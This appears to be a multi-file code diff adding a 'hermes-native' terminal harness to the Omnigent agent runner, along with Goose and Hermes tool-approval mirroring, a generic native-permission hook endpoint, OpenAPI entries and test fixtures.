spellings.update(_HERMES_NATIVE_HARNESSES)
spellings.update(_QWEN_HARNESSES)
spellings.add(CURSOR_KEY)
spellings.add(GOOSE_KEY) # headless Goose (``goose acp``) gates on the goose binary
+18 -1
View File
@@ -45,6 +45,22 @@ _HERMES_OS_TOOLS = frozenset(
{"terminal", "execute_code", "read_file", "write_file", "search_files"}
)
# Goose native tool names. Goose namespaces its built-in "developer" extension
# tools as ``developer__<tool>``; ``shell`` is the terminal tool and
# ``write`` / ``edit`` / ``text_editor`` / ``read_image`` / ``tree`` are the file
# tools (names vary slightly by Goose version, so cover both the split write/edit
# and the unified text_editor spellings).
_GOOSE_NATIVE_OS_TOOLS = frozenset(
{
"developer__shell",
"developer__write",
"developer__edit",
"developer__text_editor",
"developer__read_image",
"developer__tree",
}
)
# ── Rate limiting ────────────────────────────────────────────────────────────
@@ -130,11 +146,12 @@ def ask_on_os_tools(event: PolicyEvent) -> PolicyResponse:
| _CURSOR_NATIVE_OS_TOOLS
| _PI_NATIVE_OS_TOOLS
| _HERMES_OS_TOOLS
| _GOOSE_NATIVE_OS_TOOLS
)
if tool in _all_os_tools:
args = data.get("arguments", {})
# Build a short preview of what the tool is doing.
if tool in ("sys_os_shell", "Bash", "bash", "Shell", "terminal"):
if tool in ("sys_os_shell", "Bash", "bash", "Shell", "terminal", "developer__shell"):
preview = args.get("command", "") if isinstance(args, dict) else ""
elif tool in ("Grep", "Glob", "search_files"):
preview = args.get("pattern", "") if isinstance(args, dict) else ""
+9
View File
@@ -279,6 +279,15 @@ def _dispatch_wrapper(
qwen_args=(),
)
return True
if native_agent.key == "hermes":
from omnigent.hermes_native import run_hermes_native
run_hermes_native(
server=server,
session_id=session_id,
hermes_args=(),
)
return True
return False
+357 -13
View File
@@ -59,6 +59,7 @@ from omnigent.runner.resource_registry import (
CODEX_NATIVE_TERMINAL_ROLE,
CURSOR_NATIVE_TERMINAL_ROLE,
GOOSE_NATIVE_TERMINAL_ROLE,
HERMES_NATIVE_TERMINAL_ROLE,
OMNIGENT_REPL_TERMINAL_ROLE,
OPENCODE_NATIVE_TERMINAL_ROLE,
PI_NATIVE_TERMINAL_ROLE,
@@ -1618,6 +1619,15 @@ async def _auto_create_goose_terminal(
)
workspace = os.path.realpath(str(launch_config.workspace))
goose_command = resolve_goose_executable()
# GOOSE_MODE=smart_approve so Goose prompts in its TUI before sensitive tools
# (its native approval, which shows in the terminal and the web's embedded
# terminal). Goose's default mode is Auto (no prompt), so we set this for the
# approval flow to appear at all. Provider/model come from `goose configure`.
goose_env: dict[str, str] = {
"GOOSE_CLI_THEME": "ansi",
"GOOSE_TELEMETRY_OFF": "1",
"GOOSE_MODE": "smart_approve",
}
# Launch-unique Goose session name. `goose session --name X` (without
# --resume) creates a NEW sessions row each launch (verified, Goose 1.38),
# so a per-launch-unique name lets the forwarder bind to EXACTLY this
@@ -1643,9 +1653,10 @@ async def _auto_create_goose_terminal(
args=goose_args,
# ANSI theme keeps the pane cheap to scrape; GOOSE_TELEMETRY_OFF
# suppresses Goose's first-run "share usage data?" prompt, which
# would otherwise block the headless pane on a fresh install. Goose's
# would otherwise block the headless pane on a fresh install;
# GOOSE_MODE=smart_approve turns on Goose's own in-TUI approval. Goose's
# provider/model come from the user's own `goose configure` (KTD4).
env={"GOOSE_CLI_THEME": "ansi", "GOOSE_TELEMETRY_OFF": "1"},
env=goose_env,
scrollback=100_000,
tmux_allow_passthrough=True,
tmux_start_on_attach=False,
@@ -1680,6 +1691,7 @@ async def _auto_create_goose_terminal(
_runner_auth = _RunnerDatabricksAuth(_make_auth_token_factory())
from omnigent.goose_native_forwarder import supervise_goose_forwarder
from omnigent.goose_native_permissions import supervise_goose_approval_mirror
if server_client is not None and ensure_comment_relay is not None:
await ensure_comment_relay(
@@ -1688,21 +1700,196 @@ async def _auto_create_goose_terminal(
await_notify=False,
)
async def _supervise_goose_native_bridges() -> None:
"""Run the transcript forwarder and the approval mirror together.
Both are per-session, runner-owned, restart-on-failure; gathering them
under one task keeps a single registration/cancellation handle for
teardown. The forwarder mirrors Goose's transcript onto the conversation;
the approval mirror surfaces Goose's cliclack tool-confirmation prompt as
a web elicitation (see :mod:`omnigent.goose_native_permissions`).
"""
await asyncio.gather(
supervise_goose_forwarder(
base_url=server_url,
headers={},
session_id=session_id,
bridge_dir=bridge_dir,
agent_name="goose-native-ui",
goose_session_name=goose_session_name,
auth=_runner_auth,
),
supervise_goose_approval_mirror(
base_url=server_url,
headers={},
session_id=session_id,
bridge_dir=bridge_dir,
auth=_runner_auth,
),
)
_forwarder_task = asyncio.create_task(
supervise_goose_forwarder(
base_url=server_url,
headers={},
session_id=session_id,
bridge_dir=bridge_dir,
agent_name="goose-native-ui",
goose_session_name=goose_session_name,
auth=_runner_auth,
),
name=f"goose-forwarder-{session_id}",
_supervise_goose_native_bridges(),
name=f"goose-bridges-{session_id}",
)
_register_auto_forwarder_task(session_id, _forwarder_task)
_logger.info(
"Auto-created goose terminal + forwarder for session %s; forwarder_task=%s",
"Auto-created goose terminal + forwarder/approval-mirror for session %s; task=%s",
session_id,
_forwarder_task.get_name(),
)
return terminal_view
async def _auto_create_hermes_terminal(
session_id: str,
resource_registry: SessionResourceRegistry,
publish_event: Callable[[str, dict[str, Any]], None],
*,
server_client: httpx.AsyncClient | None,
ensure_comment_relay: Callable[..., Awaitable[None]] | None = None,
) -> SessionResourceView:
"""
Auto-create the Hermes TUI terminal for a hermes-native session.
Launches the bare ``hermes`` TUI in a runner-owned tmux pane. Auth is Hermes'
own configuration (``hermes setup`` / ``hermes model``
``~/.hermes/config.yaml``), so HOME is inherited and Omnigent writes no vendor
config (Hermes owns its own tool surface / skills). Hermes can't be told its
session id in advance, so the forwarder discovers *this* launch's row by
``cwd`` + ``started_at`` floor (see :mod:`omnigent.hermes_native_forwarder`).
Mirrors :func:`_auto_create_goose_terminal`.
:param session_id: Session/conversation identifier.
:param resource_registry: Session resource registry for launching the terminal.
:param publish_event: Runner session event publisher.
:param server_client: Runner Omnigent server client.
:returns: Created terminal resource view.
"""
from omnigent.hermes_native import resolve_hermes_executable
from omnigent.inner.datamodel import OSEnvSpec, TerminalEnvSpec
# Tear down any forwarder left from a prior terminal for this session before
# re-creating, so old and new tasks can't both mirror (double-posting), and
# drop the prior terminal's stale forward cursor.
await _cancel_auto_forwarder_task(session_id)
from omnigent.hermes_native_bridge import bridge_dir_for_session_id, write_tmux_target
from omnigent.hermes_native_forwarder import clear_hermes_bridge_state
bridge_dir = bridge_dir_for_session_id(session_id)
clear_hermes_bridge_state(bridge_dir)
# ``_pi_native_launch_config`` is a generic session-snapshot reader
# (workspace + terminal_launch_args); reused here, not Pi-specific.
launch_config = await _pi_native_launch_config(
session_id=session_id,
server_client=server_client,
)
workspace = os.path.realpath(str(launch_config.workspace))
hermes_command = resolve_hermes_executable()
# Stamp the discovery floor BEFORE launch: the forwarder binds the newest
# ``sessions`` row whose ``cwd`` matches this workspace and whose
# ``started_at`` is at/after this instant (minus a small skew). A wiped bridge
# cursor (clear_hermes_bridge_state above) starts it at that row's first row.
launch_epoch_s = time.time()
hermes_args = [*(launch_config.terminal_launch_args or [])]
terminal_view = await resource_registry.launch_required_terminal(
session_id=session_id,
terminal_name="hermes",
session_key="main",
resource_role=HERMES_NATIVE_TERMINAL_ROLE,
spec=TerminalEnvSpec(
os_env=OSEnvSpec(type="caller_process", cwd=workspace),
command=hermes_command,
args=hermes_args,
# No env overrides: Hermes uses the user's own ~/.hermes (model,
# provider, tools, and its native tool-approval prompt — which appears
# in the TUI and the web's embedded terminal). No NO_COLOR (an earlier
# NO_COLOR=1 rendered the gold TUI white); no HERMES_YOLO_MODE (that
# suppressed Hermes' own approval). The bridge captures the pane with
# ``tmux capture-pane -p`` (ANSI stripped), so colour never interferes.
env={},
scrollback=100_000,
tmux_allow_passthrough=True,
tmux_start_on_attach=False,
),
)
# Advertise the tmux socket+target so the hermes-native harness executor can
# inject web-UI messages into this same pane (tmux paste).
terminal_registry = resource_registry.terminal_registry
if terminal_registry is not None:
instance = terminal_registry.get(session_id, "hermes", "main")
if instance is not None and instance.running:
write_tmux_target(
bridge_dir,
socket_path=instance.socket_path,
tmux_target=instance.tmux_target,
)
publish_event(
session_id,
{
"type": "session.resource.created",
"resource": session_resource_view_to_dict(terminal_view),
},
)
# Mirror the Hermes TUI's conversation back into the Omnigent session so the
# chat view tracks the embedded terminal. Host-spawned sessions have no CLI
# client to start this, so the runner owns it — reusing the runner's own
# server URL + refresh-capable auth.
from omnigent.runner._entry import _make_auth_token_factory, _RunnerDatabricksAuth
server_url = _required_runner_env("RUNNER_SERVER_URL")
_runner_auth = _RunnerDatabricksAuth(_make_auth_token_factory())
from omnigent.hermes_native_forwarder import supervise_hermes_forwarder
from omnigent.hermes_native_permissions import supervise_hermes_approval_mirror
if server_client is not None and ensure_comment_relay is not None:
await ensure_comment_relay(
session_id,
explicit_bridge_dir=bridge_dir,
await_notify=False,
)
async def _supervise_hermes_native_bridges() -> None:
"""Run the transcript forwarder and the approval mirror together.
Both are per-session, runner-owned, restart-on-failure; gathering them
under one task keeps a single registration/cancellation handle for
teardown. The forwarder mirrors the TUI transcript onto the conversation;
the approval mirror surfaces Hermes' dangerous-command prompt as a web
elicitation (see :mod:`omnigent.hermes_native_permissions`).
"""
await asyncio.gather(
supervise_hermes_forwarder(
base_url=server_url,
headers={},
session_id=session_id,
bridge_dir=bridge_dir,
agent_name="hermes-native-ui",
workspace=workspace,
launch_epoch_s=launch_epoch_s,
# The native TUI uses the user's ~/.hermes, so the forwarder tails
# the default store there (default_state_db()).
auth=_runner_auth,
),
supervise_hermes_approval_mirror(
base_url=server_url,
headers={},
session_id=session_id,
bridge_dir=bridge_dir,
auth=_runner_auth,
),
)
_forwarder_task = asyncio.create_task(
_supervise_hermes_native_bridges(),
name=f"hermes-bridges-{session_id}",
)
_register_auto_forwarder_task(session_id, _forwarder_task)
_logger.info(
"Auto-created hermes terminal + forwarder/approval-mirror for session %s; task=%s",
session_id,
_forwarder_task.get_name(),
)
@@ -6191,6 +6378,7 @@ def create_runner_app(
_cursor_terminal_ensure_locks: dict[str, asyncio.Lock] = {}
_goose_terminal_ensure_locks: dict[str, asyncio.Lock] = {}
_qwen_terminal_ensure_locks: dict[str, asyncio.Lock] = {}
_hermes_terminal_ensure_locks: dict[str, asyncio.Lock] = {}
# Per-session lock guarding the claude-native terminal auto-create in
# ``create_session``. Two ``POST /v1/sessions`` calls can land
# concurrently on a host-launched runner — ``_on_runner_connect``
@@ -7124,6 +7312,10 @@ def create_runner_app(
from omnigent.goose_native_bridge import build_goose_native_spawn_env
spawn_env = build_goose_native_spawn_env(session_id)
if harness_name == "hermes-native" and spawn_env is None:
from omnigent.hermes_native_bridge import build_hermes_native_spawn_env
spawn_env = build_hermes_native_spawn_env(session_id)
if harness_name == "qwen-native" and spawn_env is None:
from omnigent.qwen_native_bridge import build_qwen_native_spawn_env
@@ -7627,6 +7819,39 @@ def create_runner_app(
finally:
_publish_terminal_pending(_publish_event, session_id, False)
if harness_name == "hermes-native":
_hermes_ensure_lock = _hermes_terminal_ensure_locks.setdefault(
session_id, asyncio.Lock()
)
async with _hermes_ensure_lock:
_tr = resource_registry.terminal_registry
_has_hermes_terminal = (
_tr is not None and _tr.get(session_id, "hermes", "main") is not None
)
if not _has_hermes_terminal:
_publish_terminal_pending(_publish_event, session_id, True)
try:
await _auto_create_hermes_terminal(
session_id,
resource_registry,
_publish_event,
server_client=server_client,
ensure_comment_relay=_ensure_comment_relay_started,
)
except Exception as exc:
_logger.exception(
"Failed to auto-create hermes terminal for %s",
session_id,
)
_publish_native_terminal_start_error(
_publish_event,
session_id,
"Hermes",
exc,
)
finally:
_publish_terminal_pending(_publish_event, session_id, False)
if harness_name == "qwen-native":
_qwen_ensure_lock = _qwen_terminal_ensure_locks.setdefault(session_id, asyncio.Lock())
async with _qwen_ensure_lock:
@@ -7929,6 +8154,7 @@ def create_runner_app(
_antigravity_terminal_ensure_locks.pop(session_id, None)
_goose_terminal_ensure_locks.pop(session_id, None)
_qwen_terminal_ensure_locks.pop(session_id, None)
_hermes_terminal_ensure_locks.pop(session_id, None)
_repl_terminal_ensure_locks.pop(session_id, None)
_interrupted_sessions.discard(session_id)
# Stop any TUI→web transcript forwarder (cursor-/goose-native) for this
@@ -8544,6 +8770,7 @@ def create_runner_app(
"cursor-native",
"goose-native",
"qwen-native",
"hermes-native",
}:
return
if status == "idle" and harness in {"codex-native", "antigravity-native"}:
@@ -9326,6 +9553,76 @@ def create_runner_app(
)
return Response(status_code=204)
async def _handle_hermes_native_interrupt(conv_id: str) -> Response:
"""Cancel the in-flight hermes turn by sending ``Escape`` to its TUI pane.
hermes-native turns run inside the ``hermes`` TUI; the runner harness task
returns right after the tmux paste, so the in-process cancel floor has
nothing to cancel. Mirrors the goose-native interrupt.
:param conv_id: Session/conversation identifier.
:returns: 204 when Escape was sent; 503 if the tmux target is unavailable.
"""
from omnigent.hermes_native_bridge import bridge_dir_for_session_id, inject_interrupt
try:
await asyncio.to_thread(
inject_interrupt, bridge_dir_for_session_id(conv_id), timeout_s=1.0
)
except RuntimeError as exc:
return JSONResponse(
status_code=503,
content={
"error": "hermes_native_interrupt_failed",
"detail": _client_safe_error_detail(exc, context="hermes-native interrupt"),
},
)
_wake_parent_after_native_interrupt(conv_id)
return Response(status_code=204)
async def _handle_hermes_native_stop(conv_id: str) -> Response:
"""Hard-stop a hermes-native session by killing its tmux session.
Mirrors :func:`_handle_goose_native_stop`: kill the pane (ends
``hermes``), tear the terminal resource down, cancel the forwarder,
publish ``idle``, and reclaim any sub-agent work entry.
:param conv_id: Session/conversation identifier.
:returns: 204 on success; 503 if the tmux target is unavailable.
"""
from omnigent.hermes_native_bridge import bridge_dir_for_session_id, kill_session
try:
await asyncio.to_thread(
kill_session, bridge_dir_for_session_id(conv_id), timeout_s=1.0
)
except RuntimeError as exc:
return JSONResponse(
status_code=503,
content={
"error": "hermes_native_stop_failed",
"detail": _client_safe_error_detail(exc, context="hermes-native stop"),
},
)
await _teardown_session_terminals(conv_id)
await _cancel_auto_forwarder_task(conv_id)
_publish_event(conv_id, {"type": "session.status", "status": "idle"})
delivery_ack = _mark_subagent_terminal_and_wake(
conv_id,
status="cancelled",
output="[System: sub-agent stopped]",
)
if not delivery_ack.delivered and (
delivery_ack.entry is not None or conv_id in _session_sub_agent_names
):
_logger.warning(
"Hermes-native stop succeeded but sub-agent delivery was "
"not confirmed; session=%s reason=%s",
conv_id,
delivery_ack.reason,
)
return Response(status_code=204)
async def _handle_qwen_native_interrupt(conv_id: str) -> Response:
"""Cancel the in-flight qwen turn by sending ``Escape`` to its TUI pane.
@@ -11363,6 +11660,10 @@ def create_runner_app(
from omnigent.goose_native_bridge import build_goose_native_spawn_env
spawn_env = build_goose_native_spawn_env(conv_id)
if harness_name == "hermes-native" and spawn_env is None:
from omnigent.hermes_native_bridge import build_hermes_native_spawn_env
spawn_env = build_hermes_native_spawn_env(conv_id)
if harness_name == "qwen-native" and spawn_env is None:
from omnigent.qwen_native_bridge import build_qwen_native_spawn_env
@@ -12277,6 +12578,9 @@ def create_runner_app(
if _harness == "goose-native":
# goose turn lives in the goose session TUI; send Escape to stop it.
return await _handle_goose_native_interrupt(conversation_id)
if _harness == "hermes-native":
# hermes turn lives in the hermes TUI; send Escape to stop it.
return await _handle_hermes_native_interrupt(conversation_id)
if _harness == "qwen-native":
# qwen turn lives in the qwen TUI; send Escape to stop it.
return await _handle_qwen_native_interrupt(conversation_id)
@@ -12353,6 +12657,9 @@ def create_runner_app(
if _harness == "goose-native":
# Hard-kill the goose session tmux pane (the TUI is the runtime).
return await _handle_goose_native_stop(conversation_id)
if _harness == "hermes-native":
# Hard-kill the hermes tmux pane (the TUI is the runtime).
return await _handle_hermes_native_stop(conversation_id)
if _harness == "qwen-native":
# Hard-kill the qwen tmux pane (the TUI is the runtime).
return await _handle_qwen_native_stop(conversation_id)
@@ -13062,6 +13369,41 @@ def create_runner_app(
content=session_resource_view_to_dict(terminal_view),
)
if (
body.get("ensure_native_terminal")
and terminal_name == "hermes"
and session_key == "main"
):
hermes_terminal_id = terminal_resource_id("hermes", "main")
ensure_lock = _hermes_terminal_ensure_locks.setdefault(session_id, asyncio.Lock())
async with ensure_lock:
existing = await resource_registry.get_terminal_resource(
session_id, hermes_terminal_id
)
if existing is not None:
return JSONResponse(
status_code=200,
content=session_resource_view_to_dict(existing),
)
try:
terminal_view = await _auto_create_hermes_terminal(
session_id,
resource_registry,
_publish_event,
server_client=server_client,
ensure_comment_relay=_ensure_comment_relay_started,
)
except Exception as exc:
_logger.exception(
"Hermes terminal ensure failed for session=%s",
session_id,
)
return _native_terminal_start_error_response(exc, "Hermes")
return JSONResponse(
status_code=200,
content=session_resource_view_to_dict(terminal_view),
)
if (
body.get("ensure_native_terminal")
and terminal_name == "antigravity"
@@ -14640,6 +14982,7 @@ def create_runner_app(
_antigravity_terminal_ensure_locks.pop(session_id, None)
_goose_terminal_ensure_locks.pop(session_id, None)
_qwen_terminal_ensure_locks.pop(session_id, None)
_hermes_terminal_ensure_locks.pop(session_id, None)
_repl_terminal_ensure_locks.pop(session_id, None)
await resource_registry.cleanup_session(session_id)
return JSONResponse(
@@ -14696,6 +15039,7 @@ def create_runner_app(
_antigravity_terminal_ensure_locks.pop(session_id, None)
_goose_terminal_ensure_locks.pop(session_id, None)
_qwen_terminal_ensure_locks.pop(session_id, None)
_hermes_terminal_ensure_locks.pop(session_id, None)
_repl_terminal_ensure_locks.pop(session_id, None)
# Close terminals with ``session.resource.deleted`` events BEFORE
# cleanup_session — cleanup_conversation would silently pop them
+5
View File
@@ -59,6 +59,7 @@ GOOSE_NATIVE_TERMINAL_ROLE = "goose-native"
# runner-owned agy TUI apart from an arbitrary terminal before reusing it.
ANTIGRAVITY_NATIVE_TERMINAL_ROLE = "antigravity-native"
QWEN_NATIVE_TERMINAL_ROLE = "qwen-native"
HERMES_NATIVE_TERMINAL_ROLE = "hermes-native"
# Role marker for the embedded Omnigent REPL terminal auto-created for
# runner-hosted SDK sessions (``omnigent attach`` in a tmux pane — the
# SDK mirror of the native terminals above). The attach WebSocket uses
@@ -976,6 +977,10 @@ class SessionResourceRegistry:
# JSON event transcript, not status), so the PTY watcher is its
# status source too.
QWEN_NATIVE_TERMINAL_ROLE,
# hermes-native injects then returns (its forwarder only mirrors the
# SQLite transcript, not status), so the PTY watcher is its status
# source too.
HERMES_NATIVE_TERMINAL_ROLE,
}
if activity_publisher is None and not emit_status and exit_publisher is None:
return
+7
View File
@@ -121,6 +121,13 @@ _HARNESS_MODULES: dict[str, str] = {
# omnigent/inner/hermes_executor.py. The ``hermes`` binary must be
# on PATH (or set by HARNESS_HERMES_PATH).
"hermes": "omnigent.inner.hermes_harness",
# hermes-native harness wrap. Drives the resident ``hermes`` TUI by
# injecting each web-UI turn into its tmux pane and mirroring the transcript
# back from Hermes' SQLite ``state.db`` session store — a native-CLI harness
# like goose-native, so it IS in ``NATIVE_HARNESSES``. The bare ``hermes``
# name stays the headless subprocess harness. See
# omnigent/inner/hermes_native_harness.py.
"hermes-native": "omnigent.inner.hermes_native_harness",
}
__all__ = ["_HARNESS_MODULES"]
+103
View File
@@ -706,6 +706,11 @@ _ANTIGRAVITY_NATIVE_ELICITATION_HOOK_TIMEOUT_S = 86400.0
# so the long park never blocks the cursor pane.
_CURSOR_NATIVE_PERMISSION_HOOK_TIMEOUT_S = 86400.0
# Same one-day park budget for the generic native-permission hook used by the
# hermes- and goose-native approval mirrors (TUI prompt → web card). A
# terminal-side answer ends the wait early via ``external_elicitation_resolved``.
_NATIVE_PERMISSION_HOOK_TIMEOUT_S = 86400.0
# ``external_elicitation_resolved`` can arrive just before the matching
# Codex hook registers, and a web verdict can land between a severed
# long-poll and its retry. Pinned, NOT the hook wait budget: Codex ids
@@ -15200,6 +15205,104 @@ def create_sessions_router(
media_type="application/json",
)
# ── POST /sessions/{session_id}/hooks/native-permission-request ─
@router.post(
"/sessions/{session_id}/hooks/native-permission-request",
response_model=None,
dependencies=[Depends(require_json_content_type)],
)
async def native_permission_request_hook(
request: Request,
session_id: str,
) -> Response:
"""
Generic native-TUI tool-approval hook (TUI web elicitation).
The vendor-agnostic counterpart of
:func:`cursor_permission_request_hook`, used by the hermes- and
goose-native approval mirrors. The runner-side mirror detects the
vendor's in-terminal approval prompt, POSTs it here, and the server
publishes ``response.elicitation_request`` and parks for the web verdict
the same registry/publish/cleanup path as the cursor/codex/claude
hooks. An empty ``200`` (TUI answered, or timeout) leaves the vendor's
native prompt authoritative.
Unlike the cursor hook, the card label / policy name come from the
payload (``agent`` / ``policy_name``) so a Hermes or Goose approval is
labelled as such, not "Cursor".
:param request: FastAPI request carrying the detected prompt
(``elicitation_id``, ``message``, ``content_preview``,
``operation_type``, optional ``agent`` / ``policy_name``).
:param session_id: Omnigent conversation id from the URL path.
:returns: An ``ElicitationResult`` (``{"action": }``) on a web verdict,
or ``200`` with empty body on TUI-resolution / timeout / disconnect.
:raises OmnigentError: 404 if the session does not exist, 400 if the
body is malformed.
"""
user_id = _get_user_id(request, auth_provider)
await _require_access(
user_id, session_id, LEVEL_READ, permission_store, conversation_store
)
try:
payload = await request.json()
except json.JSONDecodeError as exc:
raise OmnigentError(
f"Invalid JSON in native permission hook body: {exc}",
code=ErrorCode.INVALID_INPUT,
) from exc
if not isinstance(payload, dict):
raise OmnigentError(
"Native permission hook body must be a JSON object.",
code=ErrorCode.INVALID_INPUT,
)
elicitation_id = payload.get("elicitation_id")
if not isinstance(elicitation_id, str) or not elicitation_id:
raise OmnigentError(
"Native permission hook body must include 'elicitation_id'.",
code=ErrorCode.INVALID_INPUT,
)
agent = payload.get("agent")
if not isinstance(agent, str) or not agent:
agent = "Agent"
message = payload.get("message")
if not isinstance(message, str) or not message:
message = f"{agent} wants approval to run a tool"
content_preview = payload.get("content_preview")
if not isinstance(content_preview, str):
content_preview = None
operation_type = payload.get("operation_type")
if not isinstance(operation_type, str) or not operation_type:
operation_type = "tool"
policy_name = payload.get("policy_name")
if not isinstance(policy_name, str) or not policy_name:
policy_name = "native_permission"
params = ElicitationRequestParams(
mode="form",
message=message,
requestedSchema=None,
url=None,
phase="pre_tool_use",
policy_name=policy_name,
content_preview=content_preview,
)
result = await _publish_and_wait_for_harness_elicitation(
request,
session_id=session_id,
params=params,
timeout_s=_NATIVE_PERMISSION_HOOK_TIMEOUT_S,
conversation_store=conversation_store,
elicitation_id=elicitation_id,
tool_name=f"{agent}({operation_type})",
)
if result is None:
return Response(status_code=status.HTTP_200_OK)
return Response(
content=json.dumps(result.model_dump(exclude_none=True)),
media_type="application/json",
)
# ── GET /sessions/{session_id}/items ─────────────────────────
@router.get(
+2
View File
@@ -91,6 +91,7 @@ OMNIGENT_HARNESSES = frozenset(
"goose",
"goose-native",
"hermes",
"hermes-native",
"openai-agents",
"open-responses",
"opencode-native",
@@ -113,6 +114,7 @@ OMNIGENT_HARNESS_ALIASES = frozenset(
"qwen-code",
"opencode",
"native-opencode",
"native-hermes",
"github-copilot",
}
)
+41
View File
@@ -5859,6 +5859,47 @@
]
}
},
"/v1/sessions/{session_id}/hooks/native-permission-request": {
"post": {
"description": "Generic native-TUI tool-approval hook (TUI \u2192 web elicitation).\n\nThe vendor-agnostic counterpart of\n:func:`cursor_permission_request_hook`, used by the hermes- and\ngoose-native approval mirrors. The runner-side mirror detects the\nvendor's in-terminal approval prompt, POSTs it here, and the server\npublishes ``response.elicitation_request`` and parks for the web verdict\n\u2014 the same registry/publish/cleanup path as the cursor/codex/claude\nhooks. An empty ``200`` (TUI answered, or timeout) leaves the vendor's\nnative prompt authoritative.\n\nUnlike the cursor hook, the card label / policy name come from the\npayload (``agent`` / ``policy_name``) so a Hermes or Goose approval is\nlabelled as such, not \"Cursor\".\n\n:param request: FastAPI request carrying the detected prompt\n (``elicitation_id``, ``message``, ``content_preview``,\n ``operation_type``, optional ``agent`` / ``policy_name``).\n:param session_id: Omnigent conversation id from the URL path.\n:returns: An ``ElicitationResult`` (``{\"action\": \u2026}``) on a web verdict,\n or ``200`` with empty body on TUI-resolution / timeout / disconnect.\n:raises OmnigentError: 404 if the session does not exist, 400 if the\n body is malformed.",
"operationId": "native_permission_request_hook_v1_sessions__session_id__hooks_native_permission_request_post",
"parameters": [
{
"in": "path",
"name": "session_id",
"required": true,
"schema": {
"title": "Session Id",
"type": "string"
}
}
],
"responses": {
"200": {
"content": {
"application/json": {
"schema": {}
}
},
"description": "Successful Response"
},
"422": {
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
},
"description": "Validation Error"
}
},
"summary": "Native Permission Request Hook",
"tags": [
"sessions"
]
}
},
"/v1/sessions/{session_id}/hooks/permission-request": {
"post": {
"description": "Claude Code ``PermissionRequest`` HTTP hook endpoint.\n\nReceives Claude Code's PermissionRequest hook payload (tool\nname + input the user would otherwise see a TUI prompt for),\npublishes a ``response.elicitation_request`` SSE event on the\nsession stream so the web UI's :file:`ApprovalCard` renders\ninline, and long-polls until the verdict arrives via the\nsession ``approval`` event path.\n\nResponse shape follows Claude Code's PermissionRequest hook\ncontract: ``hookSpecificOutput.decision.behavior`` is\n``\"allow\"`` or ``\"deny\"``. On timeout the endpoint returns\n``200`` with an empty body \u2014 Claude Code treats that as\n\"defer to the TUI prompt\", which matches the wrapper's\nfail-ask contract (UI unreachable / unattended \u2192 fall back\nto terminal-side approval).\n\nAuth: standard session ACL \u2014 the wrapper's outbound headers\n(``ap_auth_headers`` in :func:`build_hook_settings`) carry\nthe same Bearer token used for every other Omnigent request. For\nlocal-server mode (no auth provider), unauth'd calls are\nallowed.\n\n:param request: FastAPI request \u2014 body is Claude Code's\n PermissionRequest payload as JSON.\n:param session_id: Omnigent conversation id from the URL path.\n:returns: Claude PermissionRequest hookSpecificOutput JSON,\n or ``200`` with empty body on timeout (fail-ask).\n:raises OmnigentError: 404 if the session doesn't exist,\n 400 if the body fails JSON parse or is missing\n ``tool_name``.",
@@ -197,6 +197,12 @@ def test_run_harness_live_matrix_covers_registered_coding_harnesses() -> None:
(installed separately via Nous Research's install script) and authenticates
through its own provider config, not the shared gateway/profile probe
wiring this matrix drives.
``hermes-native`` is excluded for the union of both reasons: it is a
terminal-first TUI launched via ``omni hermes`` (tmux pane + bridge dir), not
``omnigent run --harness hermes-native``, AND it wraps the ``hermes`` CLI
binary. Its coverage is the dedicated hermes-native bridge/executor/forwarder/
approval-mirror unit tests.
"""
expected_live_harnesses = set(OMNIGENT_HARNESSES).intersection(_HARNESS_MODULES) - {
"claude-native",
@@ -213,5 +219,6 @@ def test_run_harness_live_matrix_covers_registered_coding_harnesses() -> None:
"goose",
"goose-native",
"hermes",
"hermes-native",
}
assert {probe.harness for probe in HARNESS_PROBES} == expected_live_harnesses
+89
View File
@@ -2471,6 +2471,95 @@ def native_goose_session(
respawned.wait(timeout=5)
def _create_native_hermes_session(base_url: str, runner_id: str) -> str:
"""Register the ``hermes-native`` wrapper agent and bind its session.
Mirrors :func:`_create_native_goose_session`: reuses the exact terminal-first
spec ``omnigent hermes`` ships
(:func:`omnigent.hermes_native._materialize_hermes_agent_spec`) and stamps the
same wrapper / terminal-first labels. Binding triggers the runner's
hermes-native auto-bootstrap
(:func:`omnigent.runner.app._auto_create_hermes_terminal`), which launches the
``hermes`` TUI in the session terminal and starts the forwarder that mirrors
the TUI transcript back as conversation items.
:param base_url: Spawned server base URL.
:param runner_id: The token-bound runner id to bind.
:returns: The new session/conversation id.
"""
import json as _json
import tempfile
from omnigent._wrapper_labels import (
HERMES_NATIVE_WRAPPER_VALUE,
UI_MODE_LABEL_KEY,
UI_MODE_TERMINAL_VALUE,
WRAPPER_LABEL_KEY,
)
from omnigent.hermes_native import _materialize_hermes_agent_spec
with tempfile.TemporaryDirectory() as _tmp:
spec_path = _materialize_hermes_agent_spec(Path(_tmp))
yaml_text = spec_path.read_text()
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as tar:
data = yaml_text.encode()
info = tarfile.TarInfo("hermes-native-ui.yaml")
info.size = len(data)
tar.addfile(info, io.BytesIO(data))
labels = {
UI_MODE_LABEL_KEY: UI_MODE_TERMINAL_VALUE,
WRAPPER_LABEL_KEY: HERMES_NATIVE_WRAPPER_VALUE,
}
metadata = {
"labels": labels,
"workspace": str(_REPO_ROOT),
}
create = httpx.post(
f"{base_url}/v1/sessions",
data={"metadata": _json.dumps(metadata)},
files={"bundle": ("hermes-native-ui.tar.gz", buf.getvalue(), "application/gzip")},
timeout=30.0,
)
create.raise_for_status()
session_id = str(create.json()["session_id"])
_bind_session_runner(base_url, session_id, runner_id)
return session_id
@pytest.fixture
def native_hermes_session(
live_server: str,
tmp_path_factory: pytest.TempPathFactory,
) -> Iterator[tuple[str, str]]:
"""A runner-bound session on the real ``hermes-native`` ("Hermes") wrapper.
The runner auto-launches the ``hermes`` TUI in the session terminal on bind,
so the SPA's Terminal view attaches to a live Hermes TUI and its Chat view
renders the same canonical transcript. Drives the hermes render-parity suite.
:param live_server: Spawned server fixture; its runner is reused.
:param tmp_path_factory: Pytest temp path factory (for a respawn log).
:returns: ``(base_url, session_id)``.
"""
respawned = _ensure_runner_online(live_server, tmp_path_factory)
runner_id = str(_server_state["runner_id"])
session_id = _create_native_hermes_session(live_server, runner_id)
try:
yield (live_server, session_id)
finally:
httpx.delete(f"{live_server}/v1/sessions/{session_id}", timeout=10.0)
if respawned is not None:
respawned.terminate()
try:
respawned.wait(timeout=5)
except subprocess.TimeoutExpired:
respawned.kill()
respawned.wait(timeout=5)
@pytest.fixture
def native_cursor_session(
live_server: str,
